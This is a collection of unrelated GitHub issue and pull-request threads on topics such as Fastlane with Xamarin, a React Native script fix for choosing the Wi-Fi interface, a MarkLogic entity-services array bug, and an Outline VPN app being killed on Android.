I love the annotated spec that explains the context detailedly, very much! So far, this PR is not too detailed or lengthy to me. I suppose we can refine the words with more iterations here...

I'll take a look at this and make edits to the doc directly :)

@vbuterin
I guess new https://github.com/ethereum/annotated-spec repo would replace this PR?

I guess new https://github.com/ethereum/annotated-spec repo would replace this PR?

Adding a link to the two annotated specs in this repo makes sense to me :)


WIP: Add content type validation header

@idanto This doesn't look right, there are no new commits in the PR.


Is there anyway to use Fastlane with Xamarin cross platform project?

Hi there,
Yes Fastlane bot, I haven't included fastlane env output, but more of a query than an issue but given the lack of an official forum I've decided to post the query here.
I can successfully execute "fastlane init" on the Android project that is included within a Xamarin cross platform solution(using Portable Class Libraries) but not on the iOS project. Is this something that is possible or might be possible to do in the future? Really want to use Fastlane but not on separate Android and iOS apps.

Unfortunately we don't currently support Xamarin with fastlane. I wish I had better news, but it isn't really something we have on our roadmap at the moment.
However, some members of the fastlane community have had luck getting various tools working with Xamarin. You might want to try searching our GitHub issues for "Xamarin".
You also might check out the 3rd party fastlane Xamarin build plugin and see if that can help with your workflow: https://github.com/punksta/fastlane-plugin-xamarin_build
Thanks for writing in! 🚀

@Zapirian What exactly is going wrong with the iOS project generated by Xamarin? On what platform are you trying this?

MacOS. I think its the whole shared project using PCLs that mean the structure differs from a stand alone iOS project therefore Fastlane init fails on the iOS project part of the solution.

@Zapirian Can you link to a Xamarin open source Github project where I could have a look at the common structure?

@janpio If you're still looking for a Xamarin Forms project to test fastlane, you can find one here.
Problem with fastlane init on iOS is fastlane expect to find a .xcworkspace or .xcodeproj but those file doesn't exists for a Xamarin project.
[17:24:56]: Get started using a Gemfile for fastlane https://docs.fastlane.tools/getting-started/ios/setup/#use-a-gemfile
[17:24:59]: Couldn't automatically detect the platform
[17:24:59]: Is this project an iOS project? (y/n)
y
[17:25:01]: This setup will help you get up and running in no time.
[17:25:01]: fastlane will check what tools you're already using and set up
[17:25:01]: the tool automatically for you. Have fun!
[17:25:01]: Created new folder './fastlane'.
[17:25:01]: Couldn't automatically detect the project file, please provide a path: .
[17:25:09]: Path must end with either .xcworkspace or .xcodeproj

Regards

@phenixdotnet Author of the project you linked is not interested in explaining how to build it or provide any links (which is totally fine - see the referenced issue in his repo). Can you enlighten me a bit?


Fix LAN instead of Wi-Fi device bundle config

Summary
React-native server-device connection must be via Wi-Fi. But if the OS-X server has LAN & Wi-Fi interfaces, then device bundle can be incorrectly configured to  use LAN interface instead of Wi-Fi. This patch fix this issue. It greps for "baseT" (e.g. media: autoselect (1000baseT )) and skip interface if it is.

Changelog

[iOS] [Fixed] - Fix LAN instead of Wi-Fi device bundle configuration
Test Plan
To reproduce an issue setup Mac OS 10.15.1 with LAN and Wi-Fi active interfaces. And connect
real device (not simulator).
And "ifconfig en0" in console should display LAN interface e.g.:
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=50b<RXCSUM,TXCSUM,VLAN_HWTAGGING,AV,CHANNEL_IO>
	ether 78:7b:8a:d8:61:42
	inet <IP_ADDRESS> netmask 0xffffff00 broadcast <IP_ADDRESS>
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect (1000baseT <full-duplex>)
	status: active

"ifconfig eg1" in console should display WiFi interface e.g.:
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=400<CHANNEL_IO>
	ether 14:20:5e:03:5b:2a
	inet6 fe80::10e6:1cb6:54ec:1b41%en1 prefixlen 64 secured scopeid 0x5
	inet <IP_ADDRESS> netmask 0xffffff00 broadcast <IP_ADDRESS>
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active

In this case device bundle in react-native-xcode.sh script wood be incorrectly configured to use en0 (LAN interface) instead of en1(Wi-Fi) interface.
My patch fixes this issue.
fragment of script output before patch:
...
++ ipconfig getifaddr en0
+ IP=<IP_ADDRESS>
+ '[' -z <IP_ADDRESS> ']
+ '[' -z <IP_ADDRESS> ']'
+ echo <IP_ADDRESS>
+ [[ -n '' ]]
...

After start project ob device we have time lag about 20s then debug out:
2019-12-20 16:58:57.530538+0300 AwesomeProject[4590:1923358] Task <164D9AB0-8473-4BA3-BD1A-EC0E92887C17>.<1> finished with error [-1001] Error Domain=NSURLErrorDomain Code=-1001 "The request timed out." UserInfo={NSUnderlyingError=0x2838dc2d0 {Error Domain=kCFErrorDomainCFNetwork Code=-1001 "(null)" UserInfo={_kCFStreamErrorCodeKey=-2102, _kCFStreamErrorDomainKey=4}}, NSErrorFailingURLStringKey=http://<IP_ADDRESS>:8081/status, NSErrorFailingURLKey=http://<IP_ADDRESS>:8081/status, _kCFStreamErrorDomainKey=4, _kCFStreamErrorCodeKey=-2102, NSLocalizedDescription=The request timed out.}
fragment of script output after apply patch:
...
++ ipconfig getifaddr en0
+ IP=<IP_ADDRESS>
+ [[ -z <IP_ADDRESS> ]]
++ ifconfig
++ grep baseT
+ [[ -n 	media: autoselect (1000baseT <full-duplex>)
	media: autoselect (100baseTX <full-duplex>) ]]
++ ipconfig getifaddr en1
+ IP=<IP_ADDRESS>
+ '[' -z <IP_ADDRESS> ']'
+ echo <IP_ADDRESS>
+ [[ -n '' ]]
...

App start OK.
On iPhone /iPad simulator works too.

Thanks for the pull request. Would you mind adding a test plan?

Thanks for the pull request. Would you mind adding a test plan?

Done!

Thank you! The fix is appreciated.

This change broke things for me, and it took me quite some time to figure out what the heck happened.
I prefer a wired connection when available (am I the only one?), so my wifi interface had a self-assigned address. I ended up removing all interfaces other than Ethernet in order to work around this "fix."


Sympy objects in nested_tasks

Currently arbitrary python objects cannot be referenced within nested_tasks, since the logic of the nested task gets evaluated and embedded in the workflow. However, it would be desirable to loosen this restriction somewhat. One idea is to make use of sympy, such that the object to be referenced in the nested task can be expressed in sympy, then dewret can represent represent it in the workflow.
Yes - good point. I'm tempted to write that once I have the sympy functionality working, so we can say "if you can write it with sympy it's gtg" or something like that. (although agree if that's not right now, then it should be noted regardless)
Originally posted by @philtweir in https://github.com/flaxandteal/dewret/pull/15#discussion_r1573040329

Working through this, it might be sufficient - if not very elegant - to leave this up to the backend. I have PoC'd using dask to extract the subgraph corresponding to arithmetic/dask.array operations, where the other steps are dependencies. This would give us as much flexibility as dask.delayed has but with (at least) two major caveats:

it is not clear whether/how this would translate to other frameworks (they would have to allow, at least, arithmetic operations on their lazy fundamentals, i.e. the corresponding types to what dask.delayed creates)
using sympy gives us readable representations of the logic; using dask gives us subgraph dictionaries, without a reliable way back


'$type' -> '$kind'

Description
closes #2301

Task Item

Screenshots

UT failed because of '@bfc/shared' not updated

@yeze322 thanks for opening this. As soon as I get the form work merged, I will tackle this.


Add all Pre-Backend admin actions

Requirements

Filling out the template is required.

All new code requires tests to ensure against regressions.

However, if your PR contains zero code changes, feel free to select the checkmark below to indicate so.

[ ] Have you ran tests against this code?

[X] This PR contains zero code changes.

Description of the Change
All of the events that resulted in package loss was never properly documented in a single place. Only existing in log files from different repos. This PR adds all of those Pre-Backend actions to the Admin Actions log to ensure users expecting to find their package can.

@Daeraxa Thanks a ton for the review, I've implemented your suggestions


instance-json-from-document returns arrays incorrectly

In the marklogic-data-hub project, @joecrean reports an issue with an entity services function.  See
http://github.com/marklogic-community/marklogic-data-hub/issues/708

Started to take a look at this.    @joecrean has a proposed fix.  Analyzing why my existing tests did not surface this problem.

My test cases did not have scalar values in arrays, only objects.  I'll make a new test case to cover this bug.

Hi @joecrean I actually could not reproduce this issue, and I'm wondering what might be the same and different about your test data, or maybe if I fixed it in some other way earlier.  Can you forward me the XML envelope that is giving you the bad return for instance-json-from-document()?

Hi @grechaw , i am soo sorry , I completely overlooked your original request for some details.  Here is a reduced/redacted test case.
import module namespace es = "http://marklogic.com/entity-services" at "/MarkLogic/entity-services/entity-services.xqy";

let $doc := document {
<envelope xmlns="http://marklogic.com/entity-services">
<headers/>
<triples/>
<instance>
  <info>
  <title>Foo</title>
  <version>0.0.1</version>
  </info>
  <Foo xmlns="">
    <keyword>1</keyword>
    <keyword>2</keyword>
    <keyword>3</keyword>
    <keyword>4</keyword>
    <keyword>5</keyword>
  </Foo>
</instance>
<attachments/>
</envelope>
}
return es:instance-json-from-document($doc)

hi @grechaw
just wanted to speak to your point about the use of a scalar array. Initially i created an entity definition with a couple of external entity references ; best example is for authors. However what i really wanted was a foreign key value. Entity Services expected me to generate an of author entities direct in my Foo entities. But I want to have the author entities separate with only foreign keys (and maybe some names) in my actual Foo entity. When you use an external entity reference it is like a structural convenience but not a foreign key relationship. So I might be happy to use Address in this way because I wont store them as separate entities but not Authors because I want to build up a store on all Authors and relate all kinds of data back to them. Hope that makes sense and for the issue hijacking.

Your case clearly shows the issue.  I'm cross-eyed trying to figure what I've missed.  Anyhow, I've done the same thing as you to make simple foreign keys too.  If you define a ref, then the structure as you noted comes out a little differently.  As long as you know how to join your keys, I think using scalar values is a good alternative.

I see now why I could not reproduce.  In order to handle arrays more gracefully in generally, the default serialization includes an attribute now for properties that are arrays.   Before this change arrays of a single element were being serialized as (non-array) scalars in JSON.
So the bugfix you've provided has no effect on OOTB envelopes, but the DHF may not have caught up with this change.  Therefore, we might as well put this fix into develop, so as to handle more serialization cases gracefully.

This issue went into develop some time ago, but i neglected to move it along.

Tests added and running in regression. Shipping this.


Add username's file

created a brach, created a file and made a commit and opened a pull request

hola


Support Assistance

Hi,
I tried to motivate my RSI to put in place Netbox. I liked the product but, he asked me if there is a support assistance (not free)  in case of problems ? If not, is it planned ?
Thanks in advance.
Regards,
Thomas V.

NetBox is developed as an open source product with development led primarily by DigitalOcean's network team. There is currently no commercial support option that I'm aware of. (Unfortunately, this is not something I'm able to offer.) However, I like to think that we're pretty good about addressing bugs in a timely manner, and we have a fairly active community.
If you have any further questions, feel free to bring them up on our mailing list. Thanks.


Improve how results are reported

Helpful things would include:

Paths to Jade and CSS files containing orphans
Line numbers that orphans are used on
Multiple paths and line numbers for orphans that exist in multiple locations
Could Sourcemaps be used to link to locations in source files (such as Stylus. We use Stylus @clocklimited) rather than the location is CSS files?

Currently a bug in line number reporting from jade-parser means line number for indented tags are not reported; https://github.com/jadejs/jade-parser/issues/2

Use of sourecmaps for reporting moved to #11


Moved punchdrunk from Utilities into Platforms

Since punchdrunk is a re-implementation of the LOVE API, I think it is more appropriately considered a platform.

:+1:  You are right of course


Number of image ids is over 8000

Hi
I'm using COCO to load this file "tiny_set/erase_with_uncertain_dataset/annotations/corner/task/tiny_set_train_sw640_sh512_all.json"
Then if I get the image ids, then I have len(img_ids) = 8256
img_ids = coco.getImgIds()

I thought we only have around 793 images in train?

Sorry, I think I figured it out, seems like because one image is cropped into several pieces by the property "corner"


Allow the rendered example to be collapsed

Could we add an option to collapse & expand the generated code the same way we can do with the example code?

So you want to show only the source code and not the rendered example?

Ah sorry if it wasn't clear! I'd like to be able to minify rendered example
as well as the source code. I was thinking it being expanded by default (as
it is now) with the same minify button used for source code.
Is it better?
On Tue, Jun 12, 2018, 19:30 Mike Petrovich<EMAIL_ADDRESS>wrote:

So you want to show only the source code and not the rendered example?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nextbigsoundinc/stylemark/issues/42#issuecomment-396527145,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABLUjXcCPbdvrm2e1OB16XZxRgVE0dKrks5t74ohgaJpZM4UjwED
.

--
Valentin Carmignac

Oh, I misunderstood. You want to be able to collapse/expand the rendered examples in the same way as the source code blocks.

Correct!
On Tue, Jun 12, 2018, 21:43 Mike Petrovich<EMAIL_ADDRESS>wrote:

Oh, I misunderstood. You want to be able to collapse/expand the rendered
examples in the same way as the source code blocks.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nextbigsoundinc/stylemark/issues/42#issuecomment-396560264,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABLUjU2bQ1vbuRwpLTclyMhhtwtVWo1Yks5t76lVgaJpZM4UjwED
.

--
Valentin Carmignac


⚠ Spryr has degraded performance

In d4d5b6a, Spryr (https://spryr.com) experienced degraded performance:

HTTP code: 200
Response time: 5628 ms

Resolved: Spryr performance has improved in 6815814 after 23 minutes.


Android App gets killed in background

Describe the bug
Been using outline android app for last few days, app seems to get killed and vpn is disconnected if phone is not used for few hours, especially overnight it always gets killed
To Reproduce
Steps to reproduce the behavior:

Connect in Outline
Leave it without charging overnight
Morning VPN is not connected and you don't see the outline notification too

Expected behavior
VPN shoudln't disconnected and persistent outline notification should be there
Smartphone (please complete the following information):

Device: OnePlus 6T
OS: Android - 9, OxygenOS - 9.0.15
Browser [e.g. stock browser, safari] - Firefox
App Version  - 1.2.10

Submit Feedback
Done
Additional context
To avoid app being killed in background I have excluded the app from 'Battery Optimization'
I myself Android dev let me know if you need any additional logs

Just found another VPN settings in OS level, 'Always-on VPN' and 'Block connections without VPN', will update if the app gets killed over time.

I got disconnected again and app was dead, I guess this could be due to network glitch, however i thought app will retry to connect when it happens.
Below is the error I got after I have enabled always-on settings for VPN.


Set up cobra for handling commands.

I also fixed a bunch of bugs I encountered testing this noise.

closes #1